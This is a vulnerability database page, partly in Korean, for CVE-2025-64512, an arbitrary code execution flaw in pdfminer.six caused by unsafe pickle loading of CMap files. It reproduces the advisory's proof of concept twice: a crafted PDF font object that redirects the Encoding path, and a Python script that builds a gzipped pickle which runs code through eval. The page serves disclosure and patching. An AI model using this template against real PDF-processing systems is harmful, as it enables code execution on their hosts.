Arbitrary Code Execution in pdfminer.six via Crafted PDF Input

높음 7.8CVE-2025-64512 · GHSA-wf5f-4jwr-ppcp · PYSEC-2026-1762 · Published 10/11/2025 · updated 17/06/2026

요약

CVE-2025-64512은(는) pdfminer-six, pdfminer.six (pdfminer)에 영향을 주는 높음 (CVSS 7.8) 취약점입니다.
향후 30일 내 악용 확률(EPSS): 0.33%, 전체 취약점의 26.9%보다 높음.
조치: 20251107, 2025-11-07 이상으로 업데이트하세요.

Package	Affected versions	Patched versions
pdfminer-six PyPI	`< 20251107`	`20251107`
pdfminer.six pdfminer	`< 2025-11-07`	`2025-11-07`

Description

Summary

pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB._load_data() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.

Details

# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")  # Insufficient sanitization
    filename = "%s.pickle.gz" % name
    # ... path construction ...
    path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
    # ...
    return type(str(name), (), pickle.loads(gzfile.read()))  # Unsafe deserialization

An attacker can:

Create a malicious PDF with a CMap reference like /malicious
Place a malicious pickle file at /malicious.pickle.gz
When the PDF is processed, pdfminer loads and deserializes the malicious pickle
The pickle deserialization can execute arbitrary Python code

POC

Malicious PDF

Create a PDF with a malicious CMAP entry:

5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj

Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.

Malicious Pickle

Create a malicious, zipped pickle to execute. For example, with this Python script:

#!/usr/bin/env python3
import pickle
import gzip

def create_demo_pickle():
    print("Creating demonstration pickle file...")

    # Create payload that executes code AND returns a dict (as pdfminer expects)
    class EvilPayload:
        def __reduce__(self):
            # This function will be called during unpickling
            code = "print('Malicious code executed.') or exit(0) or {}"
            return (eval, (code,))

    demo_cmap_data = EvilPayload()

    # Create the pickle file that the path traversal would access
    target_path = "./malicious.pickle.gz"

    try:
        with gzip.open(target_path, 'wb') as f:
            pickle.dump(demo_cmap_data, f)
        print(f"✓ Created demonstration pickle file: {target_path}")
        return target_path

    except Exception as e:
        print(f"✗ Error creating pickle file: {e}")
        return None

if __name__ == "__main__":
    create_demo_pickle()

References

pdfminer/pdfminer.six security advisory · WEB
nvd.nist.gov/vuln/detail/CVE-2025-64512 · ADVISORY
pdfminer/pdfminer.six commit b808ee0 · WEB
pdfminer/pdfminer.six · PACKAGE
pdfminer/pdfminer.six release 20251107 · WEB
lists.debian.org/debian-lts-announce/2025/11/msg00017.html · WEB
lists.debian.org/debian-lts-announce/2026/01/msg00005.html · WEB
pypi.org/project/pdfminer-six · PACKAGE
GitHub Advisory GHSA-wf5f-4jwr-ppcp · ADVISORY

pdfminer-six의 다른 취약점

모두 보기 →

Running one of these products? Scan your site to see whether it exposes a vulnerable version.

Scan my site free

Package

Affected versions

Patched versions

pdfminer-six

PyPI

< 20251107

20251107

pdfminer.six

pdfminer

< 2025-11-07

2025-11-07

Description

Summary

Details

# Vulnerable code in pdfminer/cmapdb.py:233-246
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")  # Insufficient sanitization
    filename = "%s.pickle.gz" % name
    # ... path construction ...
    path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored
    # ...
    return type(str(name), (), pickle.loads(gzfile.read()))  # Unsafe deserialization

An attacker can:

Create a malicious PDF with a CMap reference like /malicious
Place a malicious pickle file at /malicious.pickle.gz
When the PDF is processed, pdfminer loads and deserializes the malicious pickle
The pickle deserialization can execute arbitrary Python code

POC

Malicious PDF

Create a PDF with a malicious CMAP entry:

5 0 obj
<<
/Type /Font
/Subtype /Type0
/BaseFont /MaliciousFont-Identity-H
/Encoding /#2Fpdfs#2Fmalicious
/DescendantFonts [6 0 R]
>>
endobj

Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.

Malicious Pickle

Create a malicious, zipped pickle to execute. For example, with this Python script:

#!/usr/bin/env python3
import pickle
import gzip

def create_demo_pickle():
    print("Creating demonstration pickle file...")

    # Create payload that executes code AND returns a dict (as pdfminer expects)
    class EvilPayload:
        def __reduce__(self):
            # This function will be called during unpickling
            code = "print('Malicious code executed.') or exit(0) or {}"
            return (eval, (code,))

    demo_cmap_data = EvilPayload()

    # Create the pickle file that the path traversal would access
    target_path = "./malicious.pickle.gz"

    try:
        with gzip.open(target_path, 'wb') as f:
            pickle.dump(demo_cmap_data, f)
        print(f"✓ Created demonstration pickle file: {target_path}")
        return target_path

    except Exception as e:
        print(f"✗ Error creating pickle file: {e}")
        return None

if __name__ == "__main__":
    create_demo_pickle()

Arbitrary Code Execution in pdfminer.six via Crafted PDF Input

요약

Description

Summary

Details

POC

Malicious PDF

Malicious Pickle

References

pdfminer-six의 다른 취약점

Arbitrary Code Execution in pdfminer.six via Crafted PDF Input

요약

Description

Summary

Details

POC

Malicious PDF

Malicious Pickle

References

pdfminer-six의 다른 취약점

Test

Impact

Linux, MacOS - harder to exploit

Windows - easier to exploit

Appendix